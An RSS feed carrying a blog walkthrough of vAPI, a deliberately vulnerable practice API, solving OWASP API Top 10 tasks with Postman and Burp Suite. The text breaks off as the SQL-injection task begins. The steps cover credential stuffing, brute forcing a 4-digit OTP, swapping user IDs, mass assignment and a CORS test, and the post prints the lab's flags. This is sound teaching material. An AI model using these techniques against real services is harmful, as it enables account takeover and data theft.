<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[My awesome publication]]></title><description><![CDATA[My awesome publication]]></description><link>https://0xpwned.hashnode.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/6a78c9f9b20683bc77684bd3/0a0e2cb5-a147-4606-a29f-f9a9e9a16715.png</url><title>My awesome publication</title><link>https://0xpwned.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 22 Nov 2026 17:02:36 GMT</lastBuildDate><atom:link href="https://0xpwned.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[vAPI walkthrough]]></title><description><![CDATA[Step-by-step vAPI setup and walkthrough using Docker on Linux & Windows. Practice API penetration testing and exploit OWASP API Top 10 flaws.]]></description><link>https://0xpwned.hashnode.dev/vapi-walkthrough</link><guid isPermaLink="true">https://0xpwned.hashnode.dev/vapi-walkthrough</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[api security]]></category><category><![CDATA[Docker]]></category><category><![CDATA[#infosec]]></category><category><![CDATA[API Penetration Testing]]></category><category><![CDATA[Api pentesting]]></category><category><![CDATA[Vapi]]></category><category><![CDATA[vapi-walkthrough]]></category><dc:creator><![CDATA[Koushik Paul]]></dc:creator><pubDate>Sat, 21 Nov 2026 17:27:15 GMT</pubDate><content:encoded><![CDATA[<h2>Introduction</h2>
<p>This is a full walkthrough of the Vulnerable Adversely Programmed Interface (vAPI), a deliberately vulnerable web application that you can install locally to practice your API hacking skills. vAPI follows the <a href="https://owasp.org/www-project-api-security/">OWASP API Security Top 10 2019</a> list of vulnerabilities and gives you one task for each of the 10 listed categories.</p>
<h2>Installing vAPI</h2>
<p>To host your vAPI instance, you need a Docker installed host system like Linux or Windows. Remember deliberately vulnerable practice apps should not be installed on an Internet facing (which has a public IP) server, VPS or VM.</p>
<p>In this case, I am using my Windows machine as a host system. Don't worry, for complete the vapi's all challenges windows in enough. I also guide you through the setup in both Windows and Linux.</p>
<h4>1. Installing Docker</h4>
<p>Install Docker using the official documentation for your operating system:</p>
<ul>
<li>For Windows (see instructions <a href="https://docs.docker.com/desktop/setup/install/windows-install/">here</a>). </li>
<li>For Debian Linux (Ex. Kali Linux) (see instructions <a href="https://docs.docker.com/engine/install/debian/">here</a>), </li>
<li>For Ubuntu (see instructions <a href="https://docs.docker.com/engine/install/ubuntu/">here</a>)</li>
</ul>
<h4>2. Setting Up vAPI on Linux</h4>
<ol>
<li><strong>Verify the Docker installation</strong> by checking the version:</li>
</ol>
<pre><code class="language-bash">docker --version
</code></pre>
<ol start="2">
<li>Clone the repository and start vAPI:</li>
</ol>
<pre><code class="language-bash">mkdir ~/labs &amp;&amp; cd ~/labs
git clone https://github.com/roottusk/vapi.git
cd vapi
sudo docker compose up -d
</code></pre>
<ol start="3">
<li><strong>Verify that the containers are running</strong> (from inside <code>~/labs/vapi</code>):</li>
</ol>
<pre><code class="language-bash">sudo docker compose ps -a
</code></pre>
<ol start="4">
<li><strong>Access vAPI:</strong></li>
</ol>
<ul>
<li><strong>Local browser:</strong> <code>http://127.0.0.1:8000/vapi</code>    </li>
<li><strong>From another VM or device on the same network:</strong> <code>http://&lt;YOUR_LINUX_IP&gt;:8000/vapi</code> (for example, <code>http://192.168.1.26:8000/vapi</code> -- check your machine's IP using <code>ip a</code> or <code>hostname -I</code>).</li>
</ul>
<ol start="5">
<li><strong>Stopping vAPI</strong></li>
</ol>
<ul>
<li><strong>Option A:</strong> Pause/Stop containers (Preserves your database and lab progress)</li>
</ul>
<pre><code class="language-bash">cd ~/labs/vapi
sudo docker compose stop
</code></pre>
<blockquote>
<p><em>Verification:</em> Run <code>docker compose ps -a</code> (with <code>sudo</code> on Linux). The container status will change from <code>Up</code> to <code>Exited</code>.</p>
</blockquote>
<ul>
<li><strong>Option B</strong>: Stop and remove containers &amp; networks (Resets the lab environment)</li>
</ul>
<pre><code class="language-bash">cd ~/labs/vapi
sudo docker compose down
</code></pre>
<blockquote>
<p><em>Note</em>: Adding <code>-v</code> (<code>docker compose down -v</code>) will also wipe the database volume completely if you want a clean slate.</p>
</blockquote>
<ol start="6">
<li><strong>Starting vAPI on a Freshly Booted Computer</strong></li>
</ol>
<p>By default, vAPI containers do not auto-start when your computer reboots. Follow these steps after turning on your machine:</p>
<ol>
<li><strong>Ensure the Docker service is running</strong> (in case it is not enabled at boot):</li>
</ol>
<pre><code class="language-bash">sudo systemctl start docker
</code></pre>
<ol start="2">
<li>Navigate to the vAPI directory and start the containers:</li>
</ol>
<pre><code class="language-bash">cd ~/labs/vapi
sudo docker compose up -d
</code></pre>
<blockquote>
<p>If you previously used <code>docker compose stop</code>, you can also use <code>sudo docker compose start</code>.</p>
</blockquote>
<ol start="3">
<li>Verify that the containers are up:</li>
</ol>
<pre><code class="language-bash">sudo docker compose ps -a
</code></pre>
<h4>3. Setting Up vAPI on Windows</h4>
<ol>
<li><strong>Verify the Docker installation</strong> in PowerShell or Command Prompt:</li>
</ol>
<pre><code class="language-powershell">docker --version   
</code></pre>
<ol start="2">
<li><strong>Clone the repository and start vAPI:</strong></li>
</ol>
<p>First download Git (if not already installed). from <a href="https://git-scm.com/install/windows">here</a></p>
<p>Then navigate to your Docker projects directory (for example, <code>D:\Docker</code> or your user folder):</p>
<pre><code class="language-powershell">mkdir -Force D:\Docker
cd D:\Docker
git clone https://github.com/roottusk/vapi.git
cd vapi
docker compose up -d
</code></pre>
<ol start="3">
<li><strong>Verify that the containers are running</strong> (from inside <code>D:\Docker\vapi</code>):</li>
</ol>
<pre><code>docker compose ps -a
</code></pre>
<blockquote>
<p><em>Alternatively</em>, open <strong>Docker Desktop</strong> and select the <strong>Containers</strong> tab on the left sidebar.</p>
</blockquote>
<ol start="4">
<li><p><strong>Access vAPI:</strong>    </p>
<ul>
<li><strong>Local browser:</strong> <code>http://127.0.0.1:8000/vapi</code></li>
<li><strong>From another VM or device on the same network:</strong> <code>http://&lt;YOUR_WINDOWS_IP&gt;:8000/vapi</code> (for example, <code>http://192.168.1.26:8000/vapi</code> — find your IPv4 address by running <code>ipconfig</code> in PowerShell/CMD, and ensure Windows Firewall permits inbound connections on port <code>8000</code>).</li>
</ul>
</li>
<li><p><strong>Stopping vAPI</strong></p>
</li>
</ol>
<ul>
<li><strong>Option A</strong>: Pause/Stop containers (Preserves your database and lab progress)</li>
</ul>
<pre><code class="language-powershell">cd D:\Docker\vapi
docker compose stop
</code></pre>
<blockquote>
<p><em>Alternatively</em>, you can also open <strong>Docker Desktop</strong>, go to the <strong>Containers</strong> tab, find the <code>vapi</code> stack, and click the <strong>Stop</strong> button.</p>
</blockquote>
<ul>
<li><strong>Option B</strong>: Stop and remove containers &amp; networks (Resets the lab environment)</li>
</ul>
<pre><code class="language-powershell">cd D:\Docker\vapi
docker compose down
</code></pre>
<blockquote>
<p><em>Note</em>: Adding <code>-v</code> (<code>docker compose down -v</code>) will also wipe the database volume completely if you want a clean slate.</p>
</blockquote>
<ol start="6">
<li><strong>Starting vAPI on a Freshly Booted Computer</strong></li>
<li><strong>Launch Docker Desktop</strong> from the Start Menu and wait until the bottom-left status indicator turns green (<strong>Engine running</strong>).</li>
<li><strong>Open PowerShell or Command Prompt</strong>, navigate to your <code>vapi</code> folder, and start the stack:</li>
</ol>
<pre><code class="language-powershell">cd D:\Docker\vapi
docker compose up -d
</code></pre>
<blockquote>
<p><em>Alternatively</em>, in <strong>Docker Desktop --&gt; Containers</strong>, click the <strong>Play (Start)</strong> button next to the <code>vapi</code> stack.</p>
</blockquote>
<ol start="3">
<li>Verify that the containers are up:</li>
</ol>
<pre><code class="language-powershell">docker compose ps -a
</code></pre>
<blockquote>
<p>Open <strong>Docker Desktop</strong> and select the <strong>Containers</strong> tab on the left sidebar.  Expand the <strong><code>vapi</code></strong> group to see all three running containers (<code>www</code>, <code>db</code>, and <code>phpmyadmin</code>) with green status icons. <em>Verification:</em> All three containers show <strong>Running</strong> under the Status column.</p>
</blockquote>
<h2>Setting up Postman</h2>
<p>Download and install the Postman App from <a href="https://www.postman.com/downloads/">here</a></p>
<p>Now start Postman and import the two files which is located:</p>
<ul>
<li>In Linux <code>~/labs/vapi/postman</code></li>
<li>In Windows <code>D:\Docker\vapi\postman</code><br /><code>vAPI.postman_collection.json</code> is a collection of requests you will use for the different tasks.<br /><code>vAPI_ENV.postman_environment.json</code> is an environment where you can store your variables.</li>
</ul>
<p>In Postman, click on <strong>Environments</strong> in the list on the left of the interface and select <code>vAPI_ENV</code>.</p>
<p>Now let’s adjust the <code>host</code> variable in Postman, to match the IP address of the vapi instance (<code>localhost:8000</code>).</p>
<h2>API1 - Broken Object Level Authorization</h2>
<p><strong>Hint</strong> - You can register yourself as a User , Thats it ....or is there something more?</p>
<p>Looking at the Postman collection for API1, we see we have three requests: <strong>Create User</strong>, <strong>Get User</strong> and <strong>Update User</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/c99e719e-c079-43db-8e0f-e22932ea94b3.png" alt="Pasted image 20261008122748" style="display:block;margin:0 auto" />

<p>Let’s first create a new user with the <strong>Create User</strong> request.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/51c0c18d-5f5a-4133-8139-14fb995f450c.png" alt="Pasted image 20261008123106" style="display:block;margin:0 auto" />

<p>Now let’s send the <strong>Get User</strong> request. This returns some data on the user we just created. the {{api1_id}} is automatically set to 9 and the {{api1_auth}} is set to <code>base64(username:password)</code> in this format.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/8ae38649-9f59-4c31-8630-233ac1e5a6f9.png" alt="Pasted image 20261008123416" style="display:block;margin:0 auto" />

<p>We can see that the request is sent to the following endpoint: <code>/vapi/api1/user/9</code></p>
<p>Let’s see what happens if we change this to a different ID value in the URL. Like<code>/vapi/api1/user/5</code>, and keep the previous Authorization-Token of ID 9.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/969ff7ea-ad29-40ba-9776-7e01043f20fa.png" alt="Pasted image 20261008123940" style="display:block;margin:0 auto" />

<p>Here, we are getting the data of a different user. This is a classic example of a BOLA vuln.<br />Now let’s see what happens if we try with an ID value of 1, as we may speculate that the first user to be created may well be the admin user.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/910ed1f6-9459-4a9b-b59a-585ce77e16db.png" alt="Pasted image 20261008124107" style="display:block;margin:0 auto" />

<p>Here, we are getting the data of yet another user, along with the flag for this task: <strong>flag{api1_d0cd9be2324cc237235b}</strong></p>
<p>Not just that, let's now send the <strong>Update User</strong> request for the ID 1 with an updated password like this:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/3a47f891-df6e-431c-b716-a23767f98a60.png" alt="Pasted image 20261008125247" style="display:block;margin:0 auto" />

<p>And it updated the password. I can change anything of this user.</p>
<h2>API2 - Broken Authentication</h2>
<p><strong>Hint</strong> - We don't seem to have credentials for this, How do we login? (There's something in the Resources Folder given to you )</p>
<p>For this task, we need to go back to our attacker system and get the file you will find at the following location:<br /><code>~/labs/vapi/Resources/API2_CredentialStuffing/creds.csv</code></p>
<p>OK, now in Postman look at the <strong>User Login</strong> query in the <strong>API2</strong> section of the collection. This looks like a standard login query, but we don’t have any credentials we can use.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/a9d422ba-16c2-4843-9101-980b6b253db4.png" alt="Pasted image 20261008134417" style="display:block;margin:0 auto" />

<p>Never mind, just type in some random text in both the e-mail and password fields and send a request.</p>
<p>In Postman go to app settings, go to Proxy and turn on the "Use custom proxy configuration". Set the proxy server to <code>http://127.0.0.1:8080</code></p>
<p>Make sure you proxy it into Burp Suite then send it to Intruder.</p>
<p>We see we already have payload positions set for both email and password values. Select a <strong>Pitchfork</strong> attack type then go to the <strong>Payloads</strong> tab.</p>
<p>Load the content of the <code>creds.csv</code> file into the payload list for both payload sets.</p>
<p>Uncheck the <strong>URL-encode these characters</strong> box for both positions, then start the attack.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/3cbdfab6-37bc-45b5-8ac0-56d2f2b93a3e.png" alt="Pasted image 20261008172543" style="display:block;margin:0 auto" />

<p>Give it a couple of hours (as a reminder, the Intruder module in Burp Suite Community Edition is throttled so it will run pretty slowly on brute force attempt) then sort results by status. Don’t forget to scroll back to the top of the list to get the 200 status results.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/42f8356c-217e-4dc7-a13d-93d335371566.png" alt="2026-10-06_14-21" style="display:block;margin:0 auto" />

<p>We see we have three matches.</p>
<p>Now go back to Postman and, still in the API2 section of the collection, try a <strong>User Login</strong> with any valid cred we got before in <strong>Intruder</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/c6c2607d-a5b7-4a51-a84a-85eaa471ec4f.png" alt="Pasted image 20261008134019" style="display:block;margin:0 auto" />

<p>In the Response returns a token, it automatically set in {{api2_auth}} variable. Now send the <strong>Get Details</strong> query. You will see it returns details for all registered users of the app.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/fc8d2a60-e8d8-48c9-88ad-ae346cadbb93.png" alt="Pasted image 20261008134230" style="display:block;margin:0 auto" />

<p>You will find the flag in the details of the second user:<br /><strong>flag{api2_6bf2beda61e2a1ab2d0a}</strong></p>
<p>The takeaway here is that the app's lack of rate limiting permits credential stuffing, resulting in a Broken User Authentication vulnerability.</p>
<h2>API3 – Excessive data exposure</h2>
<p>For this task, you need to go back to your attacker system and get the files you will find at the following locations:  </p>
<h5>In Linux</h5>
<p><code>~/labs/vapi/Resources/API3_APK/README.md</code><br /><code>~/labs/vapi/Resources/API3_APK/TheCommentApp.apk</code></p>
<h5>In Windows</h5>
<p><code>D:\Docker\vapi\Resources\API3_APK\README.md</code>
<code>D:\Docker\vapi\Resources\API3_APK\TheCommentApp.apk</code></p>
<p>It is an Android app that needs an Android device to set up.
For the purpose of this task, I am using Android Studio but you can use the emulator you want.</p>
<p>Make a virtual device from Device manager</p>
<p>I used a <code>Medium Phone</code> with <code>Android 11.0("R") x86_64 API level 30</code> with <code>Google Play</code>.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/4cdbdd0a-b293-443b-ac07-b82fba7012e4.png" alt="2026-11-19_14-16_new" /></p>
<p>Looking at the Postman collection for API3, we see we have one request: <strong>Create User</strong></p>
<p>Let’s first create a new user with the <strong>Create User</strong> request.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/4771f9fd-7a6e-4368-acd7-373de923969b.png" alt="Pasted image 20261120123230" /></p>
<p>Now, for the proxy setting first start Burpsuite, go to Proxy --&gt; Proxy Settings, and then set the <code>Bind to address</code> to <code>All interfaces</code>.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/81270384-fc90-486f-9fd2-6d902b38bddd.png" alt="2026-11-18_13-31" /></p>
<p>Then go to mobile settings and then disable the mobile data.Then click on <strong>Wi-Fi</strong>. Make sure <strong>Use Wi-Fi</strong> is on and <strong>AndroidWifi</strong> is indicated as <strong>Connected</strong>., Edit and set the proxy to Manual and give the host machine IP (which you can get by running  <code>ipconfig</code> in windows cmd) and the port. Click save and then close the box. You should be good to go.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/b4816854-3e42-4b84-8b2d-2bfc6f66f780.png" alt="2026-11-18_13-36" /></p>
<p>Then drag <strong>TheCommentApp.apk</strong> to the mobile device you created with the emulator.</p>
<p>You should see the app appear on your device. Now start the app.</p>
<h3>Configuring the Base URL in the vAPI Comment App</h3>
<p>Depending on whether you are connecting directly from the Android emulator or intercepting traffic with Burp Suite, you need to set a different Base URL in the <strong>vAPI Comment App</strong>:</p>
<table>
<thead>
<tr>
<th>Connection Setup</th>
<th>Base URL</th>
<th>How Traffic Resolves</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Without Proxy (Direct)</strong></td>
<td><code>http://10.0.2.2:8000</code></td>
<td>Android Studio's virtual router maps <code>10.0.2.2</code> to your host machine's <code>localhost</code></td>
</tr>
<tr>
<td><strong>With Burp Suite Proxy</strong></td>
<td><code>http://127.0.0.1:8000</code></td>
<td>Burp runs on your host OS and resolves <code>127.0.0.1</code> directly to your local server</td>
</tr>
</tbody></table>
<h4>1. Without a Proxy (<code>http://10.0.2.2:8000</code>)</h4>
<p>The Android Studio emulator runs inside its own isolated virtual network. If you configure the app to use <code>127.0.0.1</code> without a proxy, it will look for the server inside the emulator itself rather than on your computer.</p>
<p>To solve this, Android Studio provides a special alias ("magic IP"), <strong><code>10.0.2.2</code></strong>, which is managed by the emulator's network layer and points directly to your host machine's loopback interface (<code>127.0.0.1</code>). Using <code>http://10.0.2.2:8000</code> allows the app to reach the local vAPI backend running on your host machine.</p>
<h4>2. With Burp Suite as a Proxy (<code>http://127.0.0.1:8000</code>)</h4>
<p>When you configure the emulator to route traffic through Burp Suite, the HTTP requests are forwarded to Burp running on your host machine - meaning Burp is now responsible for resolving the destination address.</p>
<ul>
<li><strong>Why <code>10.0.2.2</code> fails through Burp:</strong> The <code>10.0.2.2</code> alias is only understood within the Android emulator's virtual network. Burp Suite and your host OS have no route for <code>10.0.2.2</code>, so Burp treats it like an external IP address and tries to send the request out to the internet, where nothing is found. </li>
<li><strong>Why <code>127.0.0.1</code> works:</strong> Because Burp Suite is already running on your host machine, setting the Base URL to <code>http://127.0.0.1:8000</code> tells Burp to resolve the request locally and forward it straight to your vAPI server listening on port <code>8000</code>.</li>
</ul>
<blockquote>
<p><em>Quick Takeaway:</em> Use <code>http://10.0.2.2:8000</code> when connecting directly from the emulator, and switch to <code>http://127.0.0.1:8000</code> whenever Burp Suite is acting as your proxy.</p>
</blockquote>
<p>Now enter the URL of your target VAPI instance (<a href="http://127.0.0.1:8000/vapi">http://127.0.0.1:8000/vapi</a>), which is running inside the host machine's docker and click <strong>Save</strong>.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/d2964dba-e7d5-4d49-9165-7cce4b41782e.png" alt="2026-11-18_13-51" /></p>
<p>Now, in the mobile app, log in using the credentials of the user you just created.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/8a495cfa-7ab9-4c04-9d66-5f3dc9431a4d.png" alt="2026-11-18_13-43_1" /></p>
<p>This takes you to a screen with a post by another user and a comment.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/20ae5810-f76a-45da-8291-2a84d247309d.png" alt="2026-11-18_13-52" /></p>
<p>In Burp, you can see the response body displays Personally Identifiable Information (PII) of users who have commented the post, including their username and location (GPS coordinates).</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/d8218b2e-9e9e-47ca-9d3a-d1ca893e0ed9.png" alt="2026-11-18_13-55" /></p>
<p>We also get the flag for this task:  <strong>flag{api3_0bad677bfc504c75ff72}</strong></p>
<h2>API4 – Lack of resources &amp; rate limiting</h2>
<p><strong>Hint</strong> - We believe OTPs are a great way of authenticating users and secure too if implemented correctly!</p>
<p>In Postman, send a <strong>Mobile Login</strong> query, from the <strong>API4</strong> folder, using the supplied body data.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/0c2c1c77-8990-45c8-b37a-5492918da547.png" alt="Pasted image 20261008201320" style="display:block;margin:0 auto" />

<p>This logs us into the user account whose cell phone number we provided. In the response body, we see that a 4 digit code has been sent to that user’s device. Since we don’t have the user’s device, we don’t have the OTP code and will have to find a workaround.</p>
<p>In Postman go to app settings, go to Proxy and turn on the "Use custom proxy configuration". Set proxy server to <code>http://127.0.0.1:8080</code></p>
<p>Start your burpsuite.</p>
<p>In Postman, Send a <strong>Verify OTP</strong> query and proxy it into Burp Suite.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/5f36dd49-95e5-4185-8b43-c280b6355095.png" alt="Pasted image 20261008202203" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/fbebab23-832f-4593-8b86-7be75e17b455.png" alt="Pasted image 20261008202911" style="display:block;margin:0 auto" />

<p>Here we are getting a <strong>403 Forbidden</strong> response code, as the OTP code we provided is incorrect. This means we need to fuzz. Right-click the request and send it to Intruder.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/611e5e38-b25e-45ae-a491-055c089d225e.png" alt="Pasted image 20261008203110" style="display:block;margin:0 auto" />

<p>As you can see, we already have a payload marker positioned on the 4 digit code.<br />Make sure a <strong>Sniper</strong> attack is selected then go to the <strong>Payloads</strong> tab. Set the Payloads as shown in the above image.</p>
<p>Then start the attack. Here again, Burp Intruder will take several hours (even days, actually..) to run through all 10.000 combinations before giving us a match: <strong>1872</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/93fa0eff-1408-4be4-9f0b-d6c906ba4fdf.png" alt="2026-10-06_23-09" style="display:block;margin:0 auto" />

<p>Now go back to Postman and send the <strong>Verify OTP</strong> request and test the code we obtained.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/56bb6b06-cc66-456a-8639-d2cd68f71b28.png" alt="Pasted image 20261008201703" style="display:block;margin:0 auto" />

<p>We get a key in the response body. The key will be automatically set in "{{api4_key}}" variable.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/a766fa28-b0e3-41a6-82f6-f6d4f7fefa46.png" alt="Pasted image 20261008203847" style="display:block;margin:0 auto" />

<p>In the response body, we get details of the user and the flag for this task:<br /><strong>flag{api4_ce696239323ea5b2d015}</strong></p>
<p>The takeaway here is that the app should have some form of rate limiting that would’ve stopped us from sending thousands of requests until we found the OTP code.</p>
<h2>API5 – Broken function level authorization</h2>
<p><strong>Hint</strong> - You can register yourself as a User. Thats it or is there something more? (I heard admin logins often but uses different route)
The explanation given for this task in the vAPI app’s interface is kinda cryptic</p>
<p>First use the <strong>Create User</strong> query in the <strong>API5</strong> folder of the Postman collection to create a new user.</p>
<p>The response body show us the user has been created and given an ID of 2.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/bf28692e-3e0d-4c7a-b6d9-30163d600c6c.png" alt="Pasted image 20261008211742" /></p>
<p>Now use the <strong>Get User</strong> query to log the new user in. keep the "{{api5_id}}" value 2.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/c794e7a7-7773-4c06-b7f8-37431d3ead80.png" alt="Pasted image 20261008212249" /></p>
<p>The login operation is successful. You can see that there is a variable at the end of the URL. This contains the ID number of the user.<br />Now let’s try to change that value to 1 to log in as the other user on the system (likely an admin).</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/c8dac320-0254-4a81-a062-d5df01dbc9f6.png" alt="Pasted image 20261008212353" /></p>
<p>This doesn’t work and we get a 403 response code. 
Now remember, the task explanation mentioned that admin logins happen, but use a different route. So let’s modify the request’s URL to <code>/vapi/api5/admin</code></p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/e0e887c1-a785-4a47-a0c6-591381438bbf.png" alt="Pasted image 20261008212445" /></p>
<p>OK, this doesn’t work either and we get a 500 response code that indicates the endpoint probably doesn’t even exist. So let’s try something else. Rather that request the data of an individual user, let’s try to dump the data of all users. For this we have to send request to <code>/vapi/api5/users</code></p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/8dfa81ef-8db6-4356-9060-55f11b454544.png" alt="Pasted image 20261008212019" /></p>
<p>This time, our request is successful and the response body lists the data of all users (two in the present case). This includes the flag for this task:<br /><strong>flag{api5_76dd990a97ff1563ae76}</strong></p>
<p>Now if you think this was way too easy, I did have to try out a number of possible endpoints before hitting the right one.</p>
<p>Here is a list of those I tried unsuccessfully (using Burp Repeater):<br /><code>PUT /vapi/api5/admin &gt; 500 error</code> 
<code>PUT /vapi/api5/user &gt; 500 error</code><br /><code>POST /vapi/api5/user/admin &gt; 500 error</code><br /><code>POST /vapi/admin &gt; 500 error</code><br /><code>POST /vapi/user/admin &gt; 500 error</code><br /><code>POST /vapi/api5/administrator &gt; 500 error</code><br /><code>POST /vapi/api5/user/administrator &gt; 500 error</code><br /><code>POST /vapi/api5/admin/register &gt; 500 error</code><br /><code>POST /vapi/api5/user/admin/register &gt; 500 error</code><br /><code>POST /vapi/api5/user/register/admin &gt; 500 error</code><br /><code>POST /vapi/api5/admin/registration &gt; 500 error</code> 
<code>POST /vapi/api5/registration &gt; 500 error</code></p>
<p>As a closing note, in my opinion the vulnerability featured in this task feels more like a BOLA than a BFLA, as we are just accessing another user’s data, rather than taking action in any way.<br />Indeed we are accessing data from a user with a higher privilege level, but we are in no position to escalate our privilege level or modify any object properties.</p>
<h2>API6 – Mass assignment</h2>
<p><strong>Hint</strong> - Welcome to our store, We will give you credits if you behave nicely. Our credit management is super secure</p>
<p>Mass assignment is when the user of an API is able to include more parameters in a request than what the application originally intended.</p>
<p>In Postman, create a new user with the <strong>Create User</strong> request from the <strong>API6</strong> folder in the collection.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/4d9e1beb-c6e4-4213-b958-612f7b967d7c.png" alt="Pasted image 20261024204420" /></p>
<p>We can see the request is successful. Now use the <strong>Get User</strong> request to get this new user’s data.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/5d0adca3-5031-4bb6-bc3f-61e3728ec7fa.png" alt="Pasted image 20261024204440" /></p>
<p>Here, we can see that this user has a credit value of zero. We want to change this.</p>
<p>Trying to convert the <strong>Get User</strong> request from a GET to a PUT with a <code>"credit": "100"</code> value in the request body will not work.</p>
<p>You need to create a new user and include the <code>"credit"</code> parameter in the request body (don’t forget to add a comma at the end of the <code>"password"</code> line).</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/5d8757fb-9de2-4de0-a7b8-3a0a4c2c71a3.png" alt="Pasted image 20261024204321" /></p>
<p>Now use the <strong>Get User</strong> request once again to display the data for this new user you just created.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/bacdadec-a38a-4c33-825a-2a2053eab250.png" alt="Pasted image 20261024204338" /></p>
<p>You can see that the value of the <code>"credit"</code> field you included in the previous request has been accepted.<br />And you have the flag for this task:<br /><strong>flag{api6_afb969db8b6e272694b4}</strong></p>
<h2>API7 - Security Misconfiguration</h2>
<p><strong>Hint</strong> - Hey, it's an API right? So we ARE expecting Cross-Origin Requests. We just hope it works fine.</p>
<p>So we know we are dealing with a CORS issue in this task. As a reminder, the <a href="https://api-security.owasp.org/editions/2019/en/0xa7-security-misconfiguration/">OWASP-API-top-10</a>  tells us:<br />‘An API is vulnerable to security misconfiguration if a Cross-Origin Resource Sharing (CORS) policy is missing or improperly set’.</p>
<p>So let’s see how we can use that. In Postman, go to the <strong>API7</strong> folder in the collection and create a new user with the <strong>Create User</strong> request.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/7ab3de86-08f2-4d02-ab0d-3d62e7ad73b1.png" alt="Pasted image 20261024230455" /></p>
<p>The request is accepted and we get confirmation the new user has been created. Now send the <strong>User Login</strong> request to log the user in (no request body needed).</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/17064035-f07d-423f-9708-3640f635aeaa.png" alt="Pasted image 20261024230513" /></p>
<p>Now send the <strong>Get Key</strong> request. We got an <code>authkey</code>.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/b0245076-8148-4310-a547-fde387bea3c0.png" alt="Pasted image 20261024230534" /></p>
<p>If you go to the response Headers you will notice the following response headers:<br /><code>Access-Control-Allow-Origin: *</code><br /><code>Access-Control-Allow-Credentials: true</code></p>
<p>This reveals the CORS policy for this request is improperly set, meaning that it could be sent from a third party web app to access this resource and retrieve the user’s id, username, password and authkey.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/e926e6dc-3da1-4d53-a1bf-4f048ecdb577.png" alt="Pasted image 20261024230606" /></p>
<p>To demonstrate it, add a new custom header name <code>Origin:</code> and set any arbitrary website like <code>hacker.com</code>. Then send the request.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/ec510e71-a08a-45a8-a675-12a0bc2679c9.png" alt="Pasted image 20261024230711" /></p>
<p>The response is accepted and we get the flag for this task in the response body:<br /><strong>flag{api7_e71b65071645e24ed50a}</strong></p>
<h2>API8 - Injection</h2>
<p><strong>Hint</strong> - I think you won't get credentials for this. You can try to log in, though.</p>
<p>In Postman, start by checking the requests given in the <strong>API8</strong> folder of the collection. Send a <strong>User Login</strong> request with some random credentials. As expected, the login fails.</p>
<p>Let’s see if the <code>username</code> or <code>password</code> fields are vulnerable to injection. So, I tried some SQL injection payloads with a guessed username, <code>admin</code>
